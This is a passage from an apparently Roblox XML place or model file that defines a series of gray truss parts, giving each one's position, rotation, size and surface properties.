					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>15.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1943">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>7.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1944">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>7.4000001</Y>
						<Z>63.9999962</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1945">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>17.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1946">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>27.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1947">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1948">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>5.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1949">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>5.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1950">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>17.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1951">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>27.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1952">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1953">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>33.8000031</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1954">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>5.4000001</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1955">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>5.4000001</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1956">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-49</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
